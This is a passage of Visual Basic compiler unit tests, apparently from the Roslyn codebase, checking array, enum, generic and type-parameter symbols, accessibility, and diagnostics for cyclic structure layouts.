itype2.ToTestDisplayString()) Dim sym3 = DirectCast(classTest.GetMembers("AryField3").First(), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym3.Kind) Assert.Equal(0, sym3.Interfaces.Length) Assert.Throws(Of ArgumentNullException)(Sub() compilation.CreateArrayTypeSymbol(Nothing)) End Sub <WorkItem(537420, "DevDiv")> <WorkItem(537515, "DevDiv")> <Fact> Public Sub ArrayTypeGetFullNameAndHashCode() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="ArrayTypes"> <file name="a.vb"> Public Class A Public Shared AryField1() As Integer Private AryField2(,,) As String Protected AryField3()(,) As Byte Shared AryField4 As ULong(,)() Friend AryField5(9) As Long Dim AryField6(2,4) As Object Public Abc(), Bbc(,,,), Cbc()() Public Sub New() End Sub End Class </file> </compilation>) CompilationUtils.AssertNoDeclarationDiagnostics(compilation) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim classTest = DirectCast(globalNS.GetTypeMembers("A").Single(), NamedTypeSymbol) Dim mems = classTest.GetMembers() Dim sym1 = DirectCast(classTest.GetMembers().First(), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym1.Kind) Assert.Equal("System.Int32()", sym1.ToTestDisplayString()) Dim v1 = sym1.GetHashCode() Dim v2 = sym1.GetHashCode() Assert.Equal(v1, v2) Dim sym21 = DirectCast(classTest.GetMembers("AryField2").First(), FieldSymbol) Assert.Equal(1, sym21.Locations.Length) Dim span = DirectCast(sym21.Locations(0), Location).GetLineSpan() Assert.Equal(span.StartLinePosition.Line, span.EndLinePosition.Line) Assert.Equal(16, span.StartLinePosition.Character) Assert.Equal(25, span.EndLinePosition.Character) Assert.Equal("AryField2", sym21.Name) Assert.Equal("A.AryField2 As System.String(,,)", sym21.ToTestDisplayString()) Dim sym22 = sym21.Type Assert.Equal(SymbolKind.ArrayType, sym22.Kind) Assert.Equal("System.String(,,)", sym22.ToTestDisplayString()) v1 = sym22.GetHashCode() v2 = sym22.GetHashCode() Assert.Equal(v1, v2) Dim sym3 = DirectCast(classTest.GetMembers("AryField3").First(), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym3.Kind) Assert.Equal("System.Byte()(,)", sym3.ToTestDisplayString()) v1 = sym3.GetHashCode() v2 = sym3.GetHashCode() Assert.Equal(v1, v2) Dim sym4 = DirectCast(mems(3), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym4.Kind) Assert.Equal("System.UInt64(,)()", sym4.ToTestDisplayString()) v1 = sym4.GetHashCode() v2 = sym4.GetHashCode() Assert.Equal(v1, v2) Dim sym5 = DirectCast(mems(4), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym5.Kind) Assert.Equal("System.Int64()", sym5.ToTestDisplayString()) v1 = sym5.GetHashCode() v2 = sym5.GetHashCode() Assert.Equal(v1, v2) Dim sym61 = DirectCast(mems(5), FieldSymbol) span = DirectCast(sym61.Locations(0), Location).GetLineSpan() Assert.Equal(span.StartLinePosition.Line, span.EndLinePosition.Line) Assert.Equal(12, span.StartLinePosition.Character) Assert.Equal(21, span.EndLinePosition.Character) Dim sym62 = sym61.Type Assert.Equal(SymbolKind.ArrayType, sym62.Kind) Assert.Equal("System.Object(,)", sym62.ToTestDisplayString()) v1 = sym62.GetHashCode() v2 = sym62.GetHashCode() Assert.Equal(v1, v2) Dim sym71 = DirectCast(classTest.GetMembers("Abc").First(), FieldSymbol) Assert.Equal("system.object()", sym71.Type.ToTestDisplayString().ToLower()) span = DirectCast(sym71.Locations(0), Location).GetLineSpan() Assert.Equal(span.StartLinePosition.Line, span.EndLinePosition.Line) Assert.Equal(15, span.StartLinePosition.Character) Assert.Equal(18, span.EndLinePosition.Character) Dim sym72 = DirectCast(classTest.GetMembers("bBc").First(), FieldSymbol) Assert.Equal("system.object(,,,)", sym72.Type.ToTestDisplayString().ToLower()) span = DirectCast(sym72.Locations(0), Location).GetLineSpan() Assert.Equal(span.StartLinePosition.Line, span.EndLinePosition.Line) Assert.Equal(22, span.StartLinePosition.Character) Assert.Equal(25, span.EndLinePosition.Character) Dim sym73 = DirectCast(classTest.GetMembers("cbC").First(), FieldSymbol) Assert.Equal("system.object()()", sym73.Type.ToTestDisplayString().ToLower()) span = DirectCast(sym73.Locations(0), Location).GetLineSpan() Assert.Equal(span.StartLinePosition.Line, span.EndLinePosition.Line) Assert.Equal(32, span.StartLinePosition.Character) Assert.Equal(35, span.EndLinePosition.Character) Assert.Equal("A.Cbc As System.Object()()", sym73.ToTestDisplayString()) End Sub <Fact(), WorkItem(537187, "DevDiv"), WorkItem(529941, "DevDiv")> Public Sub EnumFields() Dim compilation = CreateCompilationWithMscorlib( <compilation name="EnumFields"> <file name="a.vb"> Public Enum E One Two = 2 Three End Enum </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Assert.Equal("", globalNS.Name) Assert.Equal(SymbolKind.Namespace, globalNS.Kind) Assert.Equal(1, globalNS.GetMembers().Length()) Dim enumE = globalNS.GetTypeMembers("E", 0).First() Assert.Equal("E", enumE.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, enumE.Kind) Assert.Equal(TypeKind.Enum, enumE.TypeKind) Assert.Equal(Accessibility.Public, enumE.DeclaredAccessibility) Assert.True(enumE.IsNotInheritable) Assert.False(enumE.IsMustInherit) Assert.False(enumE.IsReferenceType) Assert.True(enumE.IsValueType) Assert.Equal(0, enumE.Arity) Assert.Equal("System.Enum", enumE.BaseType.ToTestDisplayString()) Dim enumMembers = enumE.GetMembers() Assert.Equal(5, enumMembers.Length) Dim ctor = enumMembers.Where(Function(s) s.Kind = SymbolKind.Method) Assert.Equal(1, ctor.Count) Assert.Equal(SymbolKind.Method, ctor(0).Kind) Dim _val = enumMembers.Where(Function(s) Not s.IsShared AndAlso s.Kind = SymbolKind.Field) Assert.Equal(1, _val.Count) Dim emem = enumMembers.Where(Function(s) s.IsShared) Assert.Equal(3, emem.Count) CompilationUtils.AssertNoDeclarationDiagnostics(compilation) End Sub <Fact> Public Sub SimpleGenericType() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="Generic"> <file name="g.vb"> Namespace NS Public Interface IFoo(Of T) End Interface Friend Class A(Of V) End Class Public Structure S(Of X, Y) End Structure End Namespace </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim namespaceNS = globalNS.GetMembers("NS") Dim nsNS = DirectCast(namespaceNS(0), NamespaceSymbol) Dim membersOfNS = nsNS.GetMembers().AsEnumerable().OrderBy(Function(s) s.Name).ThenBy(Function(s) DirectCast(s, NamedTypeSymbol).Arity).ToArray() Assert.Equal(3, membersOfNS.Length) Dim classA = DirectCast(membersOfNS(0), NamedTypeSymbol) Assert.Equal(nsNS.GetTypeMembers("A").First(), classA) Assert.Equal(nsNS, classA.ContainingSymbol) Assert.Equal(SymbolKind.NamedType, classA.Kind) Assert.Equal(TypeKind.Class, classA.TypeKind) Assert.Equal(Accessibility.Friend, classA.DeclaredAccessibility) Assert.Equal(1, classA.TypeParameters.Length) Assert.Equal("V", classA.TypeParameters(0).Name) Assert.Equal(1, classA.TypeArguments.Length) Dim ifoo = DirectCast(membersOfNS(1), NamedTypeSymbol) Assert.Equal(nsNS.GetTypeMembers("IFoo").First(), ifoo) Assert.Equal(nsNS, ifoo.ContainingSymbol) Assert.Equal(SymbolKind.NamedType, ifoo.Kind) Assert.Equal(TypeKind.Interface, ifoo.TypeKind) Assert.Equal(Accessibility.Public, ifoo.DeclaredAccessibility) Assert.Equal(1, ifoo.TypeParameters.Length) Assert.Equal("T", ifoo.TypeParameters(0).Name) Assert.Equal(1, ifoo.TypeArguments.Length) Dim structS = DirectCast(membersOfNS(2), NamedTypeSymbol) Assert.Equal(nsNS.GetTypeMembers("S").First(), structS) Assert.Equal(nsNS, structS.ContainingSymbol) Assert.Equal(SymbolKind.NamedType, structS.Kind) Assert.Equal(TypeKind.Structure, structS.TypeKind) Assert.Equal(Accessibility.Public, structS.DeclaredAccessibility) Assert.Equal(2, structS.TypeParameters.Length) Assert.Equal("X", structS.TypeParameters(0).Name) Assert.Equal("Y", structS.TypeParameters(1).Name) Assert.Equal(2, structS.TypeArguments.Length) End Sub ' Check that type parameters work correctly. <Fact> Public Sub TypeParameters() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="a.vb"> Interface Z(Of T, In U, Out V) End Interface </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim sourceMod = DirectCast(compilation.SourceModule, SourceModuleSymbol) Dim globalNSmembers = globalNS.GetMembers() Assert.Equal(1, globalNSmembers.Length) Dim interfaceZ = DirectCast(globalNSmembers(0), NamedTypeSymbol) Dim typeParams = interfaceZ.TypeParameters Assert.Equal(3, typeParams.Length) Assert.Equal("T", typeParams(0).Name) Assert.Equal(VarianceKind.None, typeParams(0).Variance) Assert.Equal(0, typeParams(0).Ordinal) Assert.Equal(Accessibility.NotApplicable, typeParams(0).DeclaredAccessibility) Assert.Equal("U", typeParams(1).Name) Assert.Equal(VarianceKind.In, typeParams(1).Variance) Assert.Equal(1, typeParams(1).Ordinal) Assert.Equal(Accessibility.NotApplicable, typeParams(1).DeclaredAccessibility) Assert.Equal("V", typeParams(2).Name) Assert.Equal(VarianceKind.Out, typeParams(2).Variance) Assert.Equal(2, typeParams(2).Ordinal) Assert.Equal(Accessibility.NotApplicable, typeParams(2).DeclaredAccessibility) CompilationUtils.AssertNoDeclarationDiagnostics(compilation) End Sub <WorkItem(537199, "DevDiv")> <Fact> Public Sub UseTypeInNetModule() Dim mscorlibRef = TestReferences.NetFx.v4_0_21006.mscorlib Dim module1Ref = TestReferences.SymbolsTests.netModule.netModule1 Dim text = <literal> Class Test Dim a As Class1 = Nothing Public Sub New() End Sub End Class </literal>.Value Dim tree = VisualBasicSyntaxTree.ParseText(SourceText.From(text), VisualBasicParseOptions.Default, "") Dim comp As VisualBasicCompilation = VisualBasicCompilation.Create("Test", {tree}, {mscorlibRef, module1Ref}) Dim globalNS = comp.SourceModule.GlobalNamespace Dim classTest = DirectCast(globalNS.GetTypeMembers("Test").First(), NamedTypeSymbol) Dim members = classTest.GetMembers() ' has to have mscorlib Dim varA = DirectCast(members(0), FieldSymbol) Assert.Equal(SymbolKind.Field, varA.Kind) Assert.Equal(TypeKind.Class, varA.Type.TypeKind) Assert.Equal(SymbolKind.NamedType, varA.Type.Kind) End Sub ' Date: IEEE 64bits (8 bytes) values <Fact> Public Sub PredefinedType01() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="Generic"> <file name="pd.vb"> Namespace NS Friend Module MyMod Dim dateField As Date = #8/13/2002 12:14 PM# Function DateFunc() As Date() Dim Obj As Object = #10/10/2001# Return Obj End Function Sub DateSub(ByVal Ary(,,) As Date) #If compErrorTest Then 'COMPILEERROR: BC30414, "New Date() {}" Ary = New Date() {} #End If End Sub Shared Sub New() End Sub End Module End Namespace </file> </compilation>) Dim nsNS = DirectCast(compilation.Assembly.GlobalNamespace.GetMembers("NS").Single(), NamespaceSymbol) Dim modOfNS = DirectCast(nsNS.GetMembers("MyMod").Single(), NamedTypeSymbol) Dim members = modOfNS.GetMembers() Assert.Equal(4, members.Length) ' 3 members + implicit shared constructor Dim mem1 = DirectCast(members(0), FieldSymbol) Assert.Equal(modOfNS, mem1.ContainingSymbol) Assert.Equal(Accessibility.Private, mem1.DeclaredAccessibility) Assert.Equal(SymbolKind.Field, mem1.Kind) Assert.Equal(TypeKind.Structure, mem1.Type.TypeKind) Assert.Equal("Date", mem1.Type.ToDisplayString()) Assert.Equal("System.DateTime", mem1.Type.ToTestDisplayString()) Dim mem2 = DirectCast(members(1), MethodSymbol) Assert.Equal(modOfNS, mem2.ContainingSymbol) Assert.Equal(Accessibility.Public, mem2.DeclaredAccessibility) Assert.Equal(SymbolKind.Method, mem2.Kind) Assert.Equal(TypeKind.Array, mem2.ReturnType.TypeKind) Dim ary = DirectCast(mem2.ReturnType, ArrayTypeSymbol) Assert.Equal(1, ary.Rank) Assert.Equal("Date", ary.ElementType.ToDisplayString()) Assert.Equal("System.DateTime", ary.ElementType.ToTestDisplayString()) Dim mem3 = DirectCast(modOfNS.GetMembers("DateSub").Single(), MethodSymbol) Assert.Equal(modOfNS, mem3.ContainingSymbol) Assert.Equal(Accessibility.Public, mem3.DeclaredAccessibility) Assert.Equal(SymbolKind.Method, mem3.Kind) Assert.True(mem3.IsSub) Dim param = DirectCast(mem3.Parameters(0), ParameterSymbol) Assert.Equal(TypeKind.Array, param.Type.TypeKind) ary = DirectCast(param.Type, ArrayTypeSymbol) Assert.Equal(3, ary.Rank) Assert.Equal("Date", ary.ElementType.ToDisplayString()) Assert.Equal("System.DateTime", ary.ElementType.ToTestDisplayString()) End Sub <WorkItem(537461, "DevDiv")> <Fact> Public Sub SourceTypeUndefinedBaseType() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="SourceTypeUndefinedBaseType"> <file name="undefinedbasetype.vb"> Class Class1 : Inherits Foo End Class </file> </compilation>) Dim baseType = compilation.GlobalNamespace.GetTypeMembers("Class1").Single().BaseType Assert.Equal("Foo", baseType.ToTestDisplayString()) Assert.Equal(SymbolKind.ErrorType, baseType.Kind) End Sub <WorkItem(537467, "DevDiv")> <Fact> Public Sub TopLevelPrivateTypes() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="C"> <file name="a.vb"> Option Strict Off Option Explicit Off Imports VB6 = Microsoft.VisualBasic Namespace InterfaceErr005 'COMPILEERROR: BC31089, "PrivateUDT" Private Structure PrivateUDT Public x As Short End Structure 'COMPILEERROR: BC31089, "PrivateIntf" Private Interface PrivateIntf Function foo() End Interface 'COMPILEERROR: BC31047 Protected Class ProtectedClass End Class End Namespace </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim ns = DirectCast(globalNS.GetMembers("InterfaceErr005").First(), NamespaceSymbol) Dim type1 = DirectCast(ns.GetTypeMembers("PrivateUDT").Single(), NamedTypeSymbol) Assert.Equal(Accessibility.Friend, type1.DeclaredAccessibility) ' NOTE: for erroneous symbols we return 'best guess' type1 = DirectCast(ns.GetTypeMembers("PrivateIntf").Single(), NamedTypeSymbol) Assert.Equal(Accessibility.Friend, type1.DeclaredAccessibility) ' NOTE: for erroneous symbols we return 'best guess' type1 = DirectCast(ns.GetTypeMembers("ProtectedClass").Single(), NamedTypeSymbol) Assert.Equal(Accessibility.Friend, type1.DeclaredAccessibility) ' NOTE: for erroneous symbols we return 'best guess' CompilationUtils.AssertTheseDiagnostics(compilation, <expected> BC31089: Types declared 'Private' must be inside another type. Private Structure PrivateUDT ~~~~~~~~~~ BC31089: Types declared 'Private' must be inside another type. Private Interface PrivateIntf ~~~~~~~~~~~ BC31047: Protected types can only be declared inside of a class. Protected Class ProtectedClass ~~~~~~~~~~~~~~ </expected>) End Sub <WorkItem(527185, "DevDiv")> <Fact> Public Sub InheritTypeFromMetadata01() Dim comp1 = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="Test2"> <file name="b.vb"> Public Module m1 Public Class C1_1 Public Class foo End Class End Class End Module </file> </compilation>) Dim compRef1 = New VisualBasicCompilationReference(comp1) Dim comp = CompilationUtils.CreateCompilationWithMscorlibAndReferences( <compilation name="Test1"> <file name="a.vb"> Imports System Imports System.Collections.Generic Namespace ShadowsGen203 ' from mscorlib Public Class MyAttribute Inherits Attribute End Class ' from another module Public Module M1 Public Class C1_3 Inherits C1_1 Private Shadows Class foo End Class End Class End Module End Namespace </file> </compilation>, {compRef1}) ' VisualBasicCompilation.Create("Test", CompilationOptions.Default, {SyntaxTree.ParseCompilationUnit(text1)}, {compRef1}) Dim ns = DirectCast(comp.GlobalNamespace.GetMembers("ShadowsGen203").Single(), NamespaceSymbol) Dim mod1 = DirectCast(ns.GetMembers("m1").Single(), NamedTypeSymbol) Dim type1 = DirectCast(mod1.GetTypeMembers("C1_3").Single(), NamedTypeSymbol) Assert.Equal("C1_1", type1.BaseType.Name) Dim type2 = DirectCast(ns.GetTypeMembers("MyAttribute").Single(), NamedTypeSymbol) Assert.Equal("Attribute", type2.BaseType.Name) End Sub <WorkItem(537753, "DevDiv")> <Fact> Public Sub ImplementTypeCrossComps() Dim comp1 = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="Test2"> <file name="comp.vb"> Imports System.Collections.Generic Namespace MT Public Interface IFoo(Of T) Sub M(ByVal t As T) End Interface End Namespace </file> </compilation>) Dim compRef1 = New VisualBasicCompilationReference(comp1) Dim comp = CompilationUtils.CreateCompilationWithMscorlibAndReferences( <compilation name="Test2"> <file name="comp2.vb"> Imports System.Collections.Generic Imports MT Namespace SS Public Class Foo Implements IFoo(Of String) Sub N(ByVal s As String) Implements IFoo(Of String).M End Sub End Class End Namespace </file> </compilation>, {compRef1}) Dim ns = DirectCast(comp.SourceModule.GlobalNamespace.GetMembers("SS").Single(), NamespaceSymbol) Dim type1 = DirectCast(ns.GetTypeMembers("Foo", 0).Single(), NamedTypeSymbol) ' Not impl ex Assert.Equal(1, type1.Interfaces.Length) Dim type2 = DirectCast(type1.Interfaces(0), NamedTypeSymbol) Assert.Equal(TypeKind.Interface, type2.TypeKind) Assert.Equal(1, type2.Arity) Assert.Equal(1, type2.TypeParameters.Length) Assert.Equal("MT.IFoo(Of System.String)", type2.ToTestDisplayString()) End Sub <WorkItem(537492, "DevDiv")> <Fact> Public Sub PartialClassImplInterface() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="a.vb"> Option Strict Off Option Explicit On Imports System.Collections.Generic Public Interface vbInt2(Of T) Sub Sub1(ByVal b1 As Byte, ByRef t2 As T) Function Fun1(Of Z)(ByVal p1 As T) As Z End Interface </file> <file name="b.vb"> Module Module1 Public Class vbPartialCls200a(Of P, Q) ' for test GenPartialCls200 Implements vbInt2(Of P) Public Function Fun1(Of X)(ByVal a As P) As X Implements vbInt2(Of P).Fun1 Return Nothing End Function End Class Partial Public Class vbPartialCls200a(Of P, Q) Implements vbInt2(Of P) Public Sub Sub1(ByVal p1 As Byte, ByRef p2 As P) Implements vbInt2(Of P).Sub1 End Sub End Class Sub Main() End Sub End Module </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim myMod = DirectCast(globalNS.GetMembers("Module1").First(), NamedTypeSymbol) Dim type1 = DirectCast(myMod.GetTypeMembers("vbPartialCls200a").Single(), NamedTypeSymbol) Assert.Equal(1, type1.Interfaces.Length) End Sub <Fact> Public Sub CyclesInStructureDeclarations() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="C"> <file name="a.vb"> Module Module1 Structure stdUDT End Structure Structure nestedUDT Public xstdUDT As stdUDT Public xstdUDTarr() As stdUDT End Structure Public m_nx1var As nestedUDT Public m_nx2var As nestedUDT Sub Scen1() Dim x2var As stdUDT End Sub End Module </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC42024: Unused local variable: 'x2var'. Dim x2var As stdUDT ~~~~~ </errors>) compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="C"> <file name="a.vb"> Module Module1 Structure OuterStruct Structure InnerStruct Public t As OuterStruct End Structure Public one As InnerStruct Public two As InnerStruct Sub Scen1() Dim three As OuterStruct End Sub End Structure End Module </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'OuterStruct' cannot contain an instance of itself: 'Module1.OuterStruct' contains 'Module1.OuterStruct.InnerStruct' (variable 'one'). 'Module1.OuterStruct.InnerStruct' contains 'Module1.OuterStruct' (variable 't'). Public one As InnerStruct ~~~ BC42024: Unused local variable: 'three'. Dim three As OuterStruct ~~~~~ </errors>) End Sub <Fact> Public Sub CyclesInStructureDeclarations2() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="CyclesInStructureDeclarations2"> <file name="a.vb"> Structure st1(Of T) Dim x As T End Structure Structure st2 Dim x As st1(Of st2) End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'st2' cannot contain an instance of itself: 'st2' contains 'st1(Of st2)' (variable 'x'). 'st1(Of st2)' contains 'st2' (variable 'x'). Dim x As st1(Of st2) ~ </errors>) End Sub <Fact> Public Sub CyclesInStructureDeclarations2_() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="CyclesInStructureDeclarations2_"> <file name="a.vb"> Structure st2 Dim x As st1(Of st2) End Structure Structure st1(Of T) Dim x As T End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'st2' cannot contain an instance of itself: 'st2' contains 'st1(Of st2)' (variable 'x'). 'st1(Of st2)' contains 'st2' (variable 'x'). Dim x As st1(Of st2) ~ </errors>) End Sub <Fact> Public Sub CyclesInStructureDeclarations3() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="CyclesInStructureDeclarations3"> <file name="a.vb"> Structure st1(Of T) Dim x As st2 End Structure Structure st2 Dim x As st1(Of st2) End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'st1' cannot contain an instance of itself: 'st1(Of T)' contains 'st2' (variable 'x'). 'st2' contains 'st1(Of st2)' (variable 'x'). Dim x As st2 ~ </errors>) End Sub <Fact> Public Sub CyclesInStructureDeclarations3_() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="CyclesInStructureDeclarations3_"> <file name="a.vb"> Structure st2 Dim x As st1(Of st2) End Structure Structure st1(Of T) Dim x As st2 End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'st2' cannot contain an instance of itself: 'st2' contains 'st1(Of st2)' (variable 'x'). 'st1(Of T)' contains 'st2' (variable 'x'). Dim x As st1(Of st2) ~ </errors>) End Sub <Fact> Public Sub CyclesInStructureDeclarations4() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="CyclesInStructureDeclarations4"> <file name="a.vb"> Structure E End Structure Structure X(Of T) Public _t As T End Structure Structure Y Public xz As X(Of Z) End Structure Structure Z Public xe As X(Of E) Public xy As X(Of Y) End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'Y' cannot contain an instance of itself: 'Y' contains 'X(Of Z)' (variable 'xz'). 'X(Of Z)' contains 'Z' (variable '_t'). 'Z' contains 'X(Of Y)' (variable 'xy'). 'X(Of Y)' contains 'Y' (variable '_t'). Public xz As X(Of Z) ~~ </errors>) End Sub <Fact> Public Sub PortedFromCSharp_StructLayoutCycle01() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="PortedFromCSharp_StructLayoutCycle01"> <file name="a.vb"> Module Module1 Structure A Public F As A ' BC30294 Public F_ As A ' no additional error End Structure Structure B Public F As C ' BC30294 Public G As C ' no additional error, cycle is reported for B.F End Structure Structure C Public G As B ' no additional error, cycle is reported for B.F End Structure Structure D(Of T) Public F As D(Of D(Of Object)) ' BC30294 End Structure Structure E Public F As F(Of E) ' no error End Structure Class F(Of T) Public G As E ' no error End Class Structure G Public F As H(Of G) ' BC30294 End Structure Structure H(Of T) Public G As G ' no additional error, cycle is reported for B.F End Structure Structure J Public Shared j As J ' no error End Structure Structure K Public Shared l As L ' no error End Structure Structure L Public l As K ' no error End Structure End Module </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'A' cannot contain an instance of itself: 'Module1.A' contains 'Module1.A' (variable 'F'). Public F As A ' BC30294 ~ BC30294: Structure 'B' cannot contain an instance of itself: 'Module1.B' contains 'Module1.C' (variable 'F'). 'Module1.C' contains 'Module1.B' (variable 'G'). Public F As C ' BC30294 ~ BC30294: Structure 'D' cannot contain an instance of itself: 'Module1.D(Of T)' contains 'Module1.D(Of Module1.D(Of Object))' (variable 'F'). Public F As D(Of D(Of Object)) ' BC30294 ~ BC30294: Structure 'G' cannot contain an instance of itself: 'Module1.G' contains 'Module1.H(Of Module1.G)' (variable 'F'). 'Module1.H(Of T)' contains 'Module1.G' (variable 'G'). Public F As H(Of G) ' BC30294 ~ </errors>) End Sub <Fact> Public Sub PortedFromCSharp_StructLayoutCycle02() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="PortedFromCSharp_StructLayoutCycle01"> <file name="a.vb"> Module Module1 Structure A Public Property P1 As A ' BC30294 Public Property P2 As A ' no additional error End Structure Structure B Public Property C1 As C ' BC30294 Public Property C2 As C ' no additional error End Structure Structure C Public Property B1 As B ' no error, cycle is already reported Public Property B2 As B ' no additional error End Structure Structure D(Of T) Public Property P1 As D(Of D(Of Object)) ' BC30294 Public Property P2 As D(Of D(Of Object)) ' no additional error End Structure Structure E Public Property F1 As F(Of E) ' no error Public Property F2 As F(Of E) ' no error End Structure Class F(Of T) Public Property P1 As E ' no error Public Property P2 As E ' no error End Class Structure G Public Property H1 As H(Of G) ' BC30294 Public Property H2 As H(Of G) ' no additional error Public Property G1 As G ' BC30294 End Structure Structure H(Of T) Public Property G1 As G ' no error Public Property G2 As G ' no error End Structure Structure J Public Shared Property j As J ' no error End Structure Structure K Public Shared Property l As L ' no error End Structure Structure L Public Property l As K ' no error End Structure Structure M Public Property N1 As N ' no error Public Property N2 As N ' no error End Structure Structure N Public Property M1 As M ' no error Get Return Nothing End Get Set(value As M) End Set End Property Public Property M2 As M ' no error Get Return Nothing End Get Set(value As M) End Set End Property End Structure End Module </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'A' cannot contain an instance of itself: 'Module1.A' contains 'Module1.A' (variable '_P1'). Public Property P1 As A ' BC30294 ~~ BC30294: Structure 'B' cannot contain an instance of itself: 'Module1.B' contains 'Module1.C' (variable '_C1'). 'Module1.C' contains 'Module1.B' (variable '_B1'). Public Property C1 As C ' BC30294 ~~ BC30294: Structure 'D' cannot contain an instance of itself: 'Module1.D(Of T)' contains 'Module1.D(Of Module1.D(Of Object))' (variable '_P1'). Public Property P1 As D(Of D(Of Object)) ' BC30294 ~~ BC30294: Structure 'G' cannot contain an instance of itself: 'Module1.G' contains 'Module1.H(Of Module1.G)' (variable '_H1'). 'Module1.H(Of T)' contains 'Module1.G' (variable '_G1'). Public Property H1 As H(Of G) ' BC30294 ~~ BC30294: Structure 'G' cannot contain an instance of itself: 'Module1.G' contains 'Module1.G' (variable '_G1'). Public Property G1 As G ' BC30294 ~~ </errors>) End Sub <Fact> Public Sub MultiplyCyclesInStructure01() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="PortedFromCSharp_StructLayoutCycle01"> <file name="a.vb"> Structure S1 Dim s2 As S2 ' ERROR Dim s2_ As S2 ' NO ERROR Dim s3 As S3 ' ERROR End Structure Structure S2 Dim s1 As S1 End Structure Structure S3 Dim s1 As S1 End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S2' (variable 's2'). 'S2' contains 'S1' (variable 's1'). Dim s2 As S2 ' ERROR ~~ BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S3' (variable 's3'). 'S3' contains 'S1' (variable 's1'). Dim s3 As S3 ' ERROR ~~ </errors>) End Sub <Fact> Public Sub MultiplyCyclesInStructure02() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="PortedFromCSharp_StructLayoutCycle01"> <file name="a.vb"> Structure S1 Dim s2 As S2 ' ERROR Dim s2_ As S2 ' NO ERROR Dim s3 As S3 ' NO ERROR End Structure Structure S2 Dim s1 As S1 End Structure Structure S3 Dim s2 As S2 End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S2' (variable 's2'). 'S2' contains 'S1' (variable 's1'). Dim s2 As S2 ' ERROR ~~ </errors>) End Sub <Fact> Public Sub MultiplyCyclesInStructure03() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="PortedFromCSharp_StructLayoutCycle01"> <file name="a.vb"> Structure S1 Dim s2 As S2 ' two errors Dim s2_ As S2 ' no errors End Structure Structure S2 Dim s1 As S1 Dim s3 As S3 End Structure Structure S3 Dim s1 As S1 End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S2' (variable 's2'). 'S2' contains 'S1' (variable 's1'). Dim s2 As S2 ' two errors ~~ BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S2' (variable 's2'). 'S2' contains 'S3' (variable 's3'). 'S3' contains 'S1' (variable 's1'). Dim s2 As S2 ' two errors ~~ </errors>) End Sub <Fact> Public Sub MultiplyCyclesInStructure04() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="PortedFromCSharp_StructLayoutCycle01"> <file name="a.vb"> Structure S1 Dim s2 As S2 ' two errors Dim s2_ As S2 ' no errors End Structure Structure S2 Dim s3 As S3 Dim s1 As S1 Dim s1_ As S1 End Structure Structure S3 Dim s1 As S1 End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S2' (variable 's2'). 'S2' contains 'S1' (variable 's1'). Dim s2 As S2 ' two errors ~~ BC30294: Structure 'S1' cannot contain an instance of itself: 'S1' contains 'S2' (variable 's2'). 'S2' contains 'S3' (variable 's3'). 'S3' contains 'S1' (variable 's1'). Dim s2 